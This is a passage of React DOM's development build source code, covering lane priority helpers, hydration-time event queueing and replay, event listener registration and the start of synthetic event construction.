    // Cycle through the lanes, assigning each new transition to the next lane.
    // In most cases, this means every transition gets its own lane, until we
    // run out of lanes and cycle back to the beginning.
    var lane = nextTransitionLane;
    nextTransitionLane <<= 1;

    if ((nextTransitionLane & TransitionLanes) === NoLanes) {
      nextTransitionLane = TransitionLane1;
    }

    return lane;
  }
  function claimNextRetryLane() {
    var lane = nextRetryLane;
    nextRetryLane <<= 1;

    if ((nextRetryLane & RetryLanes) === NoLanes) {
      nextRetryLane = RetryLane1;
    }

    return lane;
  }
  function getHighestPriorityLane(lanes) {
    return lanes & -lanes;
  }
  function pickArbitraryLane(lanes) {
    // This wrapper function gets inlined. Only exists so to communicate that it
    // doesn't matter which bit is selected; you can pick any bit without
    // affecting the algorithms where its used. Here I'm using
    // getHighestPriorityLane because it requires the fewest operations.
    return getHighestPriorityLane(lanes);
  }

  function pickArbitraryLaneIndex(lanes) {
    return 31 - clz32(lanes);
  }

  function laneToIndex(lane) {
    return pickArbitraryLaneIndex(lane);
  }

  function includesSomeLane(a, b) {
    return (a & b) !== NoLanes;
  }
  function isSubsetOfLanes(set, subset) {
    return (set & subset) === subset;
  }
  function mergeLanes(a, b) {
    return a | b;
  }
  function removeLanes(set, subset) {
    return set & ~subset;
  }
  function intersectLanes(a, b) {
    return a & b;
  } // Seems redundant, but it changes the type from a single lane (used for
  // updates) to a group of lanes (used for flushing work).

  function laneToLanes(lane) {
    return lane;
  }
  function higherPriorityLane(a, b) {
    // This works because the bit ranges decrease in priority as you go left.
    return a !== NoLane && a < b ? a : b;
  }
  function createLaneMap(initial) {
    // Intentionally pushing one by one.
    // https://v8.dev/blog/elements-kinds#avoid-creating-holes
    var laneMap = [];

    for (var i = 0; i < TotalLanes; i++) {
      laneMap.push(initial);
    }

    return laneMap;
  }
  function markRootUpdated(root, updateLane, eventTime) {
    root.pendingLanes |= updateLane; // If there are any suspended transitions, it's possible this new update
    // could unblock them. Clear the suspended lanes so that we can try rendering
    // them again.
    //
    // TODO: We really only need to unsuspend only lanes that are in the
    // `subtreeLanes` of the updated fiber, or the update lanes of the return
    // path. This would exclude suspended updates in an unrelated sibling tree,
    // since there's no way for this update to unblock it.
    //
    // We don't do this if the incoming update is idle, because we never process
    // idle updates until after all the regular updates have finished; there's no
    // way it could unblock a transition.

    if (updateLane !== IdleLane) {
      root.suspendedLanes = NoLanes;
      root.pingedLanes = NoLanes;
    }

    var eventTimes = root.eventTimes;
    var index = laneToIndex(updateLane); // We can always overwrite an existing timestamp because we prefer the most
    // recent event, and we assume time is monotonically increasing.

    eventTimes[index] = eventTime;
  }
  function markRootSuspended(root, suspendedLanes) {
    root.suspendedLanes |= suspendedLanes;
    root.pingedLanes &= ~suspendedLanes; // The suspended lanes are no longer CPU-bound. Clear their expiration times.

    var expirationTimes = root.expirationTimes;
    var lanes = suspendedLanes;

    while (lanes > 0) {
      var index = pickArbitraryLaneIndex(lanes);
      var lane = 1 << index;
      expirationTimes[index] = NoTimestamp;
      lanes &= ~lane;
    }
  }
  function markRootPinged(root, pingedLanes, eventTime) {
    root.pingedLanes |= root.suspendedLanes & pingedLanes;
  }
  function markRootFinished(root, remainingLanes) {
    var noLongerPendingLanes = root.pendingLanes & ~remainingLanes;
    root.pendingLanes = remainingLanes; // Let's try everything again

    root.suspendedLanes = NoLanes;
    root.pingedLanes = NoLanes;
    root.expiredLanes &= remainingLanes;
    root.mutableReadLanes &= remainingLanes;
    root.entangledLanes &= remainingLanes;
    var entanglements = root.entanglements;
    var eventTimes = root.eventTimes;
    var expirationTimes = root.expirationTimes; // Clear the lanes that no longer have pending work

    var lanes = noLongerPendingLanes;

    while (lanes > 0) {
      var index = pickArbitraryLaneIndex(lanes);
      var lane = 1 << index;
      entanglements[index] = NoLanes;
      eventTimes[index] = NoTimestamp;
      expirationTimes[index] = NoTimestamp;
      lanes &= ~lane;
    }
  }
  function markRootEntangled(root, entangledLanes) {
    // In addition to entangling each of the given lanes with each other, we also
    // have to consider _transitive_ entanglements. For each lane that is already
    // entangled with *any* of the given lanes, that lane is now transitively
    // entangled with *all* the given lanes.
    //
    // Translated: If C is entangled with A, then entangling A with B also
    // entangles C with B.
    //
    // If this is hard to grasp, it might help to intentionally break this
    // function and look at the tests that fail in ReactTransition-test.js. Try
    // commenting out one of the conditions below.
    var rootEntangledLanes = root.entangledLanes |= entangledLanes;
    var entanglements = root.entanglements;
    var lanes = rootEntangledLanes;

    while (lanes) {
      var index = pickArbitraryLaneIndex(lanes);
      var lane = 1 << index;

      if ( // Is this one of the newly entangled lanes?
      lane & entangledLanes | // Is this lane transitively entangled with the newly entangled lanes?
      entanglements[index] & entangledLanes) {
        entanglements[index] |= entangledLanes;
      }

      lanes &= ~lane;
    }
  }
  function getBumpedLaneForHydration(root, renderLanes) {
    var renderLane = getHighestPriorityLane(renderLanes);
    var lane;

    switch (renderLane) {
      case InputContinuousLane:
        lane = InputContinuousHydrationLane;
        break;

      case DefaultLane:
        lane = DefaultHydrationLane;
        break;

      case TransitionLane1:
      case TransitionLane2:
      case TransitionLane3:
      case TransitionLane4:
      case TransitionLane5:
      case TransitionLane6:
      case TransitionLane7:
      case TransitionLane8:
      case TransitionLane9:
      case TransitionLane10:
      case TransitionLane11:
      case TransitionLane12:
      case TransitionLane13:
      case TransitionLane14:
      case TransitionLane15:
      case TransitionLane16:
      case RetryLane1:
      case RetryLane2:
      case RetryLane3:
      case RetryLane4:
      case RetryLane5:
        lane = TransitionHydrationLane;
        break;

      case IdleLane:
        lane = IdleHydrationLane;
        break;

      default:
        // Everything else is already either a hydration lane, or shouldn't
        // be retried at a hydration lane.
        lane = NoLane;
        break;
    } // Check if the lane we chose is suspended. If so, that indicates that we
    // already attempted and failed to hydrate at that level. Also check if we're
    // already rendering that lane, which is rare but could happen.


    if ((lane & (root.suspendedLanes | renderLanes)) !== NoLane) {
      // Give up trying to hydrate and fall back to client render.
      return NoLane;
    }

    return lane;
  }
  function addFiberToLanesMap(root, fiber, lanes) {

    if (!isDevToolsPresent) {
      return;
    }

    var pendingUpdatersLaneMap = root.pendingUpdatersLaneMap;

    while (lanes > 0) {
      var index = laneToIndex(lanes);
      var lane = 1 << index;
      var updaters = pendingUpdatersLaneMap[index];
      updaters.add(fiber);
      lanes &= ~lane;
    }
  }
  function movePendingFibersToMemoized(root, lanes) {

    if (!isDevToolsPresent) {
      return;
    }

    var pendingUpdatersLaneMap = root.pendingUpdatersLaneMap;
    var memoizedUpdaters = root.memoizedUpdaters;

    while (lanes > 0) {
      var index = laneToIndex(lanes);
      var lane = 1 << index;
      var updaters = pendingUpdatersLaneMap[index];

      if (updaters.size > 0) {
        updaters.forEach(function (fiber) {
          var alternate = fiber.alternate;

          if (alternate === null || !memoizedUpdaters.has(alternate)) {
            memoizedUpdaters.add(fiber);
          }
        });
        updaters.clear();
      }

      lanes &= ~lane;
    }
  }
  function getTransitionsForLanes(root, lanes) {
    {
      return null;
    }
  }

  var DiscreteEventPriority = SyncLane;
  var ContinuousEventPriority = InputContinuousLane;
  var DefaultEventPriority = DefaultLane;
  var IdleEventPriority = IdleLane;
  var currentUpdatePriority = NoLane;
  function getCurrentUpdatePriority() {
    return currentUpdatePriority;
  }
  function setCurrentUpdatePriority(newPriority) {
    currentUpdatePriority = newPriority;
  }
  function runWithPriority(priority, fn) {
    var previousPriority = currentUpdatePriority;

    try {
      currentUpdatePriority = priority;
      return fn();
    } finally {
      currentUpdatePriority = previousPriority;
    }
  }
  function higherEventPriority(a, b) {
    return a !== 0 && a < b ? a : b;
  }
  function lowerEventPriority(a, b) {
    return a === 0 || a > b ? a : b;
  }
  function isHigherEventPriority(a, b) {
    return a !== 0 && a < b;
  }
  function lanesToEventPriority(lanes) {
    var lane = getHighestPriorityLane(lanes);

    if (!isHigherEventPriority(DiscreteEventPriority, lane)) {
      return DiscreteEventPriority;
    }

    if (!isHigherEventPriority(ContinuousEventPriority, lane)) {
      return ContinuousEventPriority;
    }

    if (includesNonIdleWork(lane)) {
      return DefaultEventPriority;
    }

    return IdleEventPriority;
  }

  // This is imported by the event replaying implementation in React DOM. It's
  // in a separate file to break a circular dependency between the renderer and
  // the reconciler.
  function isRootDehydrated(root) {
    var currentState = root.current.memoizedState;
    return currentState.isDehydrated;
  }

  var _attemptSynchronousHydration;

  function setAttemptSynchronousHydration(fn) {
    _attemptSynchronousHydration = fn;
  }
  function attemptSynchronousHydration(fiber) {
    _attemptSynchronousHydration(fiber);
  }
  var attemptContinuousHydration;
  function setAttemptContinuousHydration(fn) {
    attemptContinuousHydration = fn;
  }
  var attemptHydrationAtCurrentPriority;
  function setAttemptHydrationAtCurrentPriority(fn) {
    attemptHydrationAtCurrentPriority = fn;
  }
  var getCurrentUpdatePriority$1;
  function setGetCurrentUpdatePriority(fn) {
    getCurrentUpdatePriority$1 = fn;
  }
  var attemptHydrationAtPriority;
  function setAttemptHydrationAtPriority(fn) {
    attemptHydrationAtPriority = fn;
  } // TODO: Upgrade this definition once we're on a newer version of Flow that
  // has this definition built-in.

  var hasScheduledReplayAttempt = false; // The queue of discrete events to be replayed.

  var queuedDiscreteEvents = []; // Indicates if any continuous event targets are non-null for early bailout.
  // if the last target was dehydrated.

  var queuedFocus = null;
  var queuedDrag = null;
  var queuedMouse = null; // For pointer events there can be one latest event per pointerId.

  var queuedPointers = new Map();
  var queuedPointerCaptures = new Map(); // We could consider replaying selectionchange and touchmoves too.

  var queuedExplicitHydrationTargets = [];
  var discreteReplayableEvents = ['mousedown', 'mouseup', 'touchcancel', 'touchend', 'touchstart', 'auxclick', 'dblclick', 'pointercancel', 'pointerdown', 'pointerup', 'dragend', 'dragstart', 'drop', 'compositionend', 'compositionstart', 'keydown', 'keypress', 'keyup', 'input', 'textInput', // Intentionally camelCase
  'copy', 'cut', 'paste', 'click', 'change', 'contextmenu', 'reset', 'submit'];
  function isDiscreteEventThatRequiresHydration(eventType) {
    return discreteReplayableEvents.indexOf(eventType) > -1;
  }

  function createQueuedReplayableEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
    return {
      blockedOn: blockedOn,
      domEventName: domEventName,
      eventSystemFlags: eventSystemFlags,
      nativeEvent: nativeEvent,
      targetContainers: [targetContainer]
    };
  }

  function clearIfContinuousEvent(domEventName, nativeEvent) {
    switch (domEventName) {
      case 'focusin':
      case 'focusout':
        queuedFocus = null;
        break;

      case 'dragenter':
      case 'dragleave':
        queuedDrag = null;
        break;

      case 'mouseover':
      case 'mouseout':
        queuedMouse = null;
        break;

      case 'pointerover':
      case 'pointerout':
        {
          var pointerId = nativeEvent.pointerId;
          queuedPointers.delete(pointerId);
          break;
        }

      case 'gotpointercapture':
      case 'lostpointercapture':
        {
          var _pointerId = nativeEvent.pointerId;
          queuedPointerCaptures.delete(_pointerId);
          break;
        }
    }
  }

  function accumulateOrCreateContinuousQueuedReplayableEvent(existingQueuedEvent, blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
    if (existingQueuedEvent === null || existingQueuedEvent.nativeEvent !== nativeEvent) {
      var queuedEvent = createQueuedReplayableEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent);

      if (blockedOn !== null) {
        var _fiber2 = getInstanceFromNode(blockedOn);

        if (_fiber2 !== null) {
          // Attempt to increase the priority of this target.
          attemptContinuousHydration(_fiber2);
        }
      }

      return queuedEvent;
    } // If we have already queued this exact event, then it's because
    // the different event systems have different DOM event listeners.
    // We can accumulate the flags, and the targetContainers, and
    // store a single event to be replayed.


    existingQueuedEvent.eventSystemFlags |= eventSystemFlags;
    var targetContainers = existingQueuedEvent.targetContainers;

    if (targetContainer !== null && targetContainers.indexOf(targetContainer) === -1) {
      targetContainers.push(targetContainer);
    }

    return existingQueuedEvent;
  }

  function queueIfContinuousEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
    // These set relatedTarget to null because the replayed event will be treated as if we
    // moved from outside the window (no target) onto the target once it hydrates.
    // Instead of mutating we could clone the event.
    switch (domEventName) {
      case 'focusin':
        {
          var focusEvent = nativeEvent;
          queuedFocus = accumulateOrCreateContinuousQueuedReplayableEvent(queuedFocus, blockedOn, domEventName, eventSystemFlags, targetContainer, focusEvent);
          return true;
        }

      case 'dragenter':
        {
          var dragEvent = nativeEvent;
          queuedDrag = accumulateOrCreateContinuousQueuedReplayableEvent(queuedDrag, blockedOn, domEventName, eventSystemFlags, targetContainer, dragEvent);
          return true;
        }

      case 'mouseover':
        {
          var mouseEvent = nativeEvent;
          queuedMouse = accumulateOrCreateContinuousQueuedReplayableEvent(queuedMouse, blockedOn, domEventName, eventSystemFlags, targetContainer, mouseEvent);
          return true;
        }

      case 'pointerover':
        {
          var pointerEvent = nativeEvent;
          var pointerId = pointerEvent.pointerId;
          queuedPointers.set(pointerId, accumulateOrCreateContinuousQueuedReplayableEvent(queuedPointers.get(pointerId) || null, blockedOn, domEventName, eventSystemFlags, targetContainer, pointerEvent));
          return true;
        }

      case 'gotpointercapture':
        {
          var _pointerEvent = nativeEvent;
          var _pointerId2 = _pointerEvent.pointerId;
          queuedPointerCaptures.set(_pointerId2, accumulateOrCreateContinuousQueuedReplayableEvent(queuedPointerCaptures.get(_pointerId2) || null, blockedOn, domEventName, eventSystemFlags, targetContainer, _pointerEvent));
          return true;
        }
    }

    return false;
  } // Check if this target is unblocked. Returns true if it's unblocked.

  function attemptExplicitHydrationTarget(queuedTarget) {
    // TODO: This function shares a lot of logic with findInstanceBlockingEvent.
    // Try to unify them. It's a bit tricky since it would require two return
    // values.
    var targetInst = getClosestInstanceFromNode(queuedTarget.target);

    if (targetInst !== null) {
      var nearestMounted = getNearestMountedFiber(targetInst);

      if (nearestMounted !== null) {
        var tag = nearestMounted.tag;

        if (tag === SuspenseComponent) {
          var instance = getSuspenseInstanceFromFiber(nearestMounted);

          if (instance !== null) {
            // We're blocked on hydrating this boundary.
            // Increase its priority.
            queuedTarget.blockedOn = instance;
            attemptHydrationAtPriority(queuedTarget.priority, function () {
              attemptHydrationAtCurrentPriority(nearestMounted);
            });
            return;
          }
        } else if (tag === HostRoot) {
          var root = nearestMounted.stateNode;

          if (isRootDehydrated(root)) {
            queuedTarget.blockedOn = getContainerFromFiber(nearestMounted); // We don't currently have a way to increase the priority of
            // a root other than sync.

            return;
          }
        }
      }
    }

    queuedTarget.blockedOn = null;
  }

  function queueExplicitHydrationTarget(target) {
    // TODO: This will read the priority if it's dispatched by the React
    // event system but not native events. Should read window.event.type, like
    // we do for updates (getCurrentEventPriority).
    var updatePriority = getCurrentUpdatePriority$1();
    var queuedTarget = {
      blockedOn: null,
      target: target,
      priority: updatePriority
    };
    var i = 0;

    for (; i < queuedExplicitHydrationTargets.length; i++) {
      // Stop once we hit the first target with lower priority than
      if (!isHigherEventPriority(updatePriority, queuedExplicitHydrationTargets[i].priority)) {
        break;
      }
    }

    queuedExplicitHydrationTargets.splice(i, 0, queuedTarget);

    if (i === 0) {
      attemptExplicitHydrationTarget(queuedTarget);
    }
  }

  function attemptReplayContinuousQueuedEvent(queuedEvent) {
    if (queuedEvent.blockedOn !== null) {
      return false;
    }

    var targetContainers = queuedEvent.targetContainers;

    while (targetContainers.length > 0) {
      var targetContainer = targetContainers[0];
      var nextBlockedOn = findInstanceBlockingEvent(queuedEvent.domEventName, queuedEvent.eventSystemFlags, targetContainer, queuedEvent.nativeEvent);

      if (nextBlockedOn === null) {
        {
          var nativeEvent = queuedEvent.nativeEvent;
          var nativeEventClone = new nativeEvent.constructor(nativeEvent.type, nativeEvent);
          setReplayingEvent(nativeEventClone);
          nativeEvent.target.dispatchEvent(nativeEventClone);
          resetReplayingEvent();
        }
      } else {
        // We're still blocked. Try again later.
        var _fiber3 = getInstanceFromNode(nextBlockedOn);

        if (_fiber3 !== null) {
          attemptContinuousHydration(_fiber3);
        }

        queuedEvent.blockedOn = nextBlockedOn;
        return false;
      } // This target container was successfully dispatched. Try the next.


      targetContainers.shift();
    }

    return true;
  }

  function attemptReplayContinuousQueuedEventInMap(queuedEvent, key, map) {
    if (attemptReplayContinuousQueuedEvent(queuedEvent)) {
      map.delete(key);
    }
  }

  function replayUnblockedEvents() {
    hasScheduledReplayAttempt = false;


    if (queuedFocus !== null && attemptReplayContinuousQueuedEvent(queuedFocus)) {
      queuedFocus = null;
    }

    if (queuedDrag !== null && attemptReplayContinuousQueuedEvent(queuedDrag)) {
      queuedDrag = null;
    }

    if (queuedMouse !== null && attemptReplayContinuousQueuedEvent(queuedMouse)) {
      queuedMouse = null;
    }

    queuedPointers.forEach(attemptReplayContinuousQueuedEventInMap);
    queuedPointerCaptures.forEach(attemptReplayContinuousQueuedEventInMap);
  }

  function scheduleCallbackIfUnblocked(queuedEvent, unblocked) {
    if (queuedEvent.blockedOn === unblocked) {
      queuedEvent.blockedOn = null;

      if (!hasScheduledReplayAttempt) {
        hasScheduledReplayAttempt = true; // Schedule a callback to attempt replaying as many events as are
        // now unblocked. This first might not actually be unblocked yet.
        // We could check it early to avoid scheduling an unnecessary callback.

        unstable_scheduleCallback(unstable_NormalPriority, replayUnblockedEvents);
      }
    }
  }

  function retryIfBlockedOn(unblocked) {
    // Mark anything that was blocked on this as no longer blocked
    // and eligible for a replay.
    if (queuedDiscreteEvents.length > 0) {
      scheduleCallbackIfUnblocked(queuedDiscreteEvents[0], unblocked); // This is a exponential search for each boundary that commits. I think it's
      // worth it because we expect very few discrete events to queue up and once
      // we are actually fully unblocked it will be fast to replay them.

      for (var i = 1; i < queuedDiscreteEvents.length; i++) {
        var queuedEvent = queuedDiscreteEvents[i];

        if (queuedEvent.blockedOn === unblocked) {
          queuedEvent.blockedOn = null;
        }
      }
    }

    if (queuedFocus !== null) {
      scheduleCallbackIfUnblocked(queuedFocus, unblocked);
    }

    if (queuedDrag !== null) {
      scheduleCallbackIfUnblocked(queuedDrag, unblocked);
    }

    if (queuedMouse !== null) {
      scheduleCallbackIfUnblocked(queuedMouse, unblocked);
    }

    var unblock = function (queuedEvent) {
      return scheduleCallbackIfUnblocked(queuedEvent, unblocked);
    };

    queuedPointers.forEach(unblock);
    queuedPointerCaptures.forEach(unblock);

    for (var _i = 0; _i < queuedExplicitHydrationTargets.length; _i++) {
      var queuedTarget = queuedExplicitHydrationTargets[_i];

      if (queuedTarget.blockedOn === unblocked) {
        queuedTarget.blockedOn = null;
      }
    }

    while (queuedExplicitHydrationTargets.length > 0) {
      var nextExplicitTarget = queuedExplicitHydrationTargets[0];

      if (nextExplicitTarget.blockedOn !== null) {
        // We're still blocked.
        break;
      } else {
        attemptExplicitHydrationTarget(nextExplicitTarget);

        if (nextExplicitTarget.blockedOn === null) {
          // We're unblocked.
          queuedExplicitHydrationTargets.shift();
        }
      }
    }
  }

  var ReactCurrentBatchConfig = ReactSharedInternals.ReactCurrentBatchConfig; // TODO: can we stop exporting these?

  var _enabled = true; // This is exported in FB builds for use by legacy FB layer infra.
  // We'd like to remove this but it's not clear if this is safe.

  function setEnabled(enabled) {
    _enabled = !!enabled;
  }
  function isEnabled() {
    return _enabled;
  }
  function createEventListenerWrapperWithPriority(targetContainer, domEventName, eventSystemFlags) {
    var eventPriority = getEventPriority(domEventName);
    var listenerWrapper;

    switch (eventPriority) {
      case DiscreteEventPriority:
        listenerWrapper = dispatchDiscreteEvent;
        break;

      case ContinuousEventPriority:
        listenerWrapper = dispatchContinuousEvent;
        break;

      case DefaultEventPriority:
      default:
        listenerWrapper = dispatchEvent;
        break;
    }

    return listenerWrapper.bind(null, domEventName, eventSystemFlags, targetContainer);
  }

  function dispatchDiscreteEvent(domEventName, eventSystemFlags, container, nativeEvent) {
    var previousPriority = getCurrentUpdatePriority();
    var prevTransition = ReactCurrentBatchConfig.transition;
    ReactCurrentBatchConfig.transition = null;

    try {
      setCurrentUpdatePriority(DiscreteEventPriority);
      dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);
    } finally {
      setCurrentUpdatePriority(previousPriority);
      ReactCurrentBatchConfig.transition = prevTransition;
    }
  }

  function dispatchContinuousEvent(domEventName, eventSystemFlags, container, nativeEvent) {
    var previousPriority = getCurrentUpdatePriority();
    var prevTransition = ReactCurrentBatchConfig.transition;
    ReactCurrentBatchConfig.transition = null;

    try {
      setCurrentUpdatePriority(ContinuousEventPriority);
      dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);
    } finally {
      setCurrentUpdatePriority(previousPriority);
      ReactCurrentBatchConfig.transition = prevTransition;
    }
  }

  function dispatchEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
    if (!_enabled) {
      return;
    }

    {
      dispatchEventWithEnableCapturePhaseSelectiveHydrationWithoutDiscreteEventReplay(domEventName, eventSystemFlags, targetContainer, nativeEvent);
    }
  }

  function dispatchEventWithEnableCapturePhaseSelectiveHydrationWithoutDiscreteEventReplay(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
    var blockedOn = findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent);

    if (blockedOn === null) {
      dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, return_targetInst, targetContainer);
      clearIfContinuousEvent(domEventName, nativeEvent);
      return;
    }

    if (queueIfContinuousEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent)) {
      nativeEvent.stopPropagation();
      return;
    } // We need to clear only if we didn't queue because
    // queueing is accumulative.


    clearIfContinuousEvent(domEventName, nativeEvent);

    if (eventSystemFlags & IS_CAPTURE_PHASE && isDiscreteEventThatRequiresHydration(domEventName)) {
      while (blockedOn !== null) {
        var fiber = getInstanceFromNode(blockedOn);

        if (fiber !== null) {
          attemptSynchronousHydration(fiber);
        }

        var nextBlockedOn = findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent);

        if (nextBlockedOn === null) {
          dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, return_targetInst, targetContainer);
        }

        if (nextBlockedOn === blockedOn) {
          break;
        }

        blockedOn = nextBlockedOn;
      }

      if (blockedOn !== null) {
        nativeEvent.stopPropagation();
      }

      return;
    } // This is not replayable so we'll invoke it but without a target,
    // in case the event system needs to trace it.


    dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, null, targetContainer);
  }

  var return_targetInst = null; // Returns a SuspenseInstance or Container if it's blocked.
  // The return_targetInst field above is conceptually part of the return value.

  function findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
    // TODO: Warn if _enabled is false.
    return_targetInst = null;
    var nativeEventTarget = getEventTarget(nativeEvent);
    var targetInst = getClosestInstanceFromNode(nativeEventTarget);

    if (targetInst !== null) {
      var nearestMounted = getNearestMountedFiber(targetInst);

      if (nearestMounted === null) {
        // This tree has been unmounted already. Dispatch without a target.
        targetInst = null;
      } else {
        var tag = nearestMounted.tag;

        if (tag === SuspenseComponent) {
          var instance = getSuspenseInstanceFromFiber(nearestMounted);

          if (instance !== null) {
            // Queue the event to be replayed later. Abort dispatching since we
            // don't want this event dispatched twice through the event system.
            // TODO: If this is the first discrete event in the queue. Schedule an increased
            // priority for this boundary.
            return instance;
          } // This shouldn't happen, something went wrong but to avoid blocking
          // the whole system, dispatch the event without a target.
          // TODO: Warn.


          targetInst = null;
        } else if (tag === HostRoot) {
          var root = nearestMounted.stateNode;

          if (isRootDehydrated(root)) {
            // If this happens during a replay something went wrong and it might block
            // the whole system.
            return getContainerFromFiber(nearestMounted);
          }

          targetInst = null;
        } else if (nearestMounted !== targetInst) {
          // If we get an event (ex: img onload) before committing that
          // component's mount, ignore it for now (that is, treat it as if it was an
          // event on a non-React tree). We might also consider queueing events and
          // dispatching them after the mount.
          targetInst = null;
        }
      }
    }

    return_targetInst = targetInst; // We're not blocked on anything.

    return null;
  }
  function getEventPriority(domEventName) {
    switch (domEventName) {
      // Used by SimpleEventPlugin:
      case 'cancel':
      case 'click':
      case 'close':
      case 'contextmenu':
      case 'copy':
      case 'cut':
      case 'auxclick':
      case 'dblclick':
      case 'dragend':
      case 'dragstart':
      case 'drop':
      case 'focusin':
      case 'focusout':
      case 'input':
      case 'invalid':
      case 'keydown':
      case 'keypress':
      case 'keyup':
      case 'mousedown':
      case 'mouseup':
      case 'paste':
      case 'pause':
      case 'play':
      case 'pointercancel':
      case 'pointerdown':
      case 'pointerup':
      case 'ratechange':
      case 'reset':
      case 'resize':
      case 'seeked':
      case 'submit':
      case 'touchcancel':
      case 'touchend':
      case 'touchstart':
      case 'volumechange': // Used by polyfills:
      // eslint-disable-next-line no-fallthrough

      case 'change':
      case 'selectionchange':
      case 'textInput':
      case 'compositionstart':
      case 'compositionend':
      case 'compositionupdate': // Only enableCreateEventHandleAPI:
      // eslint-disable-next-line no-fallthrough

      case 'beforeblur':
      case 'afterblur': // Not used by React but could be by user code:
      // eslint-disable-next-line no-fallthrough

      case 'beforeinput':
      case 'blur':
      case 'fullscreenchange':
      case 'focus':
      case 'hashchange':
      case 'popstate':
      case 'select':
      case 'selectstart':
        return DiscreteEventPriority;

      case 'drag':
      case 'dragenter':
      case 'dragexit':
      case 'dragleave':
      case 'dragover':
      case 'mousemove':
      case 'mouseout':
      case 'mouseover':
      case 'pointermove':
      case 'pointerout':
      case 'pointerover':
      case 'scroll':
      case 'toggle':
      case 'touchmove':
      case 'wheel': // Not used by React but could be by user code:
      // eslint-disable-next-line no-fallthrough

      case 'mouseenter':
      case 'mouseleave':
      case 'pointerenter':
      case 'pointerleave':
        return ContinuousEventPriority;

      case 'message':
        {
          // We might be in the Scheduler callback.
          // Eventually this mechanism will be replaced by a check
          // of the current priority on the native scheduler.
          var schedulerPriority = getCurrentPriorityLevel();

          switch (schedulerPriority) {
            case ImmediatePriority:
              return DiscreteEventPriority;

            case UserBlockingPriority:
              return ContinuousEventPriority;

            case NormalPriority:
            case LowPriority:
              // TODO: Handle LowSchedulerPriority, somehow. Maybe the same lane as hydration.
              return DefaultEventPriority;

            case IdlePriority:
              return IdleEventPriority;

            default:
              return DefaultEventPriority;
          }
        }

      default:
        return DefaultEventPriority;
    }
  }

  function addEventBubbleListener(target, eventType, listener) {
    target.addEventListener(eventType, listener, false);
    return listener;
  }
  function addEventCaptureListener(target, eventType, listener) {
    target.addEventListener(eventType, listener, true);
    return listener;
  }
  function addEventCaptureListenerWithPassiveFlag(target, eventType, listener, passive) {
    target.addEventListener(eventType, listener, {
      capture: true,
      passive: passive
    });
    return listener;
  }
  function addEventBubbleListenerWithPassiveFlag(target, eventType, listener, passive) {
    target.addEventListener(eventType, listener, {
      passive: passive
    });
    return listener;
  }

  /**
   * These variables store information about text content of a target node,
   * allowing comparison of content before and after a given event.
   *
   * Identify the node where selection currently begins, then observe
   * both its text content and its current position in the DOM. Since the
   * browser may natively replace the target node during composition, we can
   * use its position to find its replacement.
   *
   *
   */
  var root = null;
  var startText = null;
  var fallbackText = null;
  function initialize(nativeEventTarget) {
    root = nativeEventTarget;
    startText = getText();
    return true;
  }
  function reset() {
    root = null;
    startText = null;
    fallbackText = null;
  }
  function getData() {
    if (fallbackText) {
      return fallbackText;
    }

    var start;
    var startValue = startText;
    var startLength = startValue.length;
    var end;
    var endValue = getText();
    var endLength = endValue.length;

    for (start = 0; start < startLength; start++) {
      if (startValue[start] !== endValue[start]) {
        break;
      }
    }

    var minEnd = startLength - start;

    for (end = 1; end <= minEnd; end++) {
      if (startValue[startLength - end] !== endValue[endLength - end]) {
        break;
      }
    }

    var sliceTail = end > 1 ? 1 - end : undefined;
    fallbackText = endValue.slice(start, sliceTail);
    return fallbackText;
  }
  function getText() {
    if ('value' in root) {
      return root.value;
    }

    return root.textContent;
  }

  /**
   * `charCode` represents the actual "character code" and is safe to use with
   * `String.fromCharCode`. As such, only keys that correspond to printable
   * characters produce a valid `charCode`, the only exception to this is Enter.
   * The Tab-key is considered non-printable and does not have a `charCode`,
   * presumably because it does not produce a tab-character in browsers.
   *
   * @param {object} nativeEvent Native browser event.
   * @return {number} Normalized `charCode` property.
   */
  function getEventCharCode(nativeEvent) {
    var charCode;
    var keyCode = nativeEvent.keyCode;

    if ('charCode' in nativeEvent) {
      charCode = nativeEvent.charCode; // FF does not set `charCode` for the Enter-key, check against `keyCode`.

      if (charCode === 0 && keyCode === 13) {
        charCode = 13;
      }
    } else {
      // IE8 does not implement `charCode`, but `keyCode` has the correct value.
      charCode = keyCode;
    } // IE and Edge (on Windows) and Chrome / Safari (on Windows and Linux)
    // report Enter as charCode 10 when ctrl is pressed.


    if (charCode === 10) {
      charCode = 13;
    } // Some non-printable keys are reported in `charCode`/`keyCode`, discard them.
    // Must not discard the (non-)printable Enter-key.


    if (charCode >= 32 || charCode === 13) {
      return charCode;
    }

    return 0;
  }

  function functionThatReturnsTrue() {
    return true;
  }

  function functionThatReturnsFalse() {
    return false;
  } // This is intentionally a factory so that we have different returned constructors.
  // If we had a single constructor, it would be megamorphic and engines would deopt.


  function createSyntheticEvent(Interface) {
    /**
     * Synthetic events are dispatched by event plugins, typically in response to a
     * top-level event delegation handler.
     *
     * These systems should generally use pooling to reduce the frequency of garbage
     * collection. The system should check `isPersistent` to determine whether the
     * event should be released into the pool after being dispatched. Users that
     * need a persisted event should invoke `persist`.
     *
     * Synthetic events (and subclasses) implement the DOM Level 3 Events API by
     * normalizing browser quirks. Subclasses do not necessarily have to implement a
     * DOM interface; custom application-specific events can also subclass this.
     */
    function SyntheticBaseEvent(reactName, reactEventType, targetInst, nativeEvent, nativeEventTarget) {
      this._reactName = reactName;
      this._targetInst = targetInst;
      this.type = reactEventType;
      this.nativeEvent = nativeEvent;
      this.target = nativeEventTarget;
      this.currentTarget = null;

      for (var _propName in Interface) {
        if (!Interface.hasOwnProperty(_propName)) {
          continue;
        }

        var normalize = Interface[_propName];

        if (normalize) {
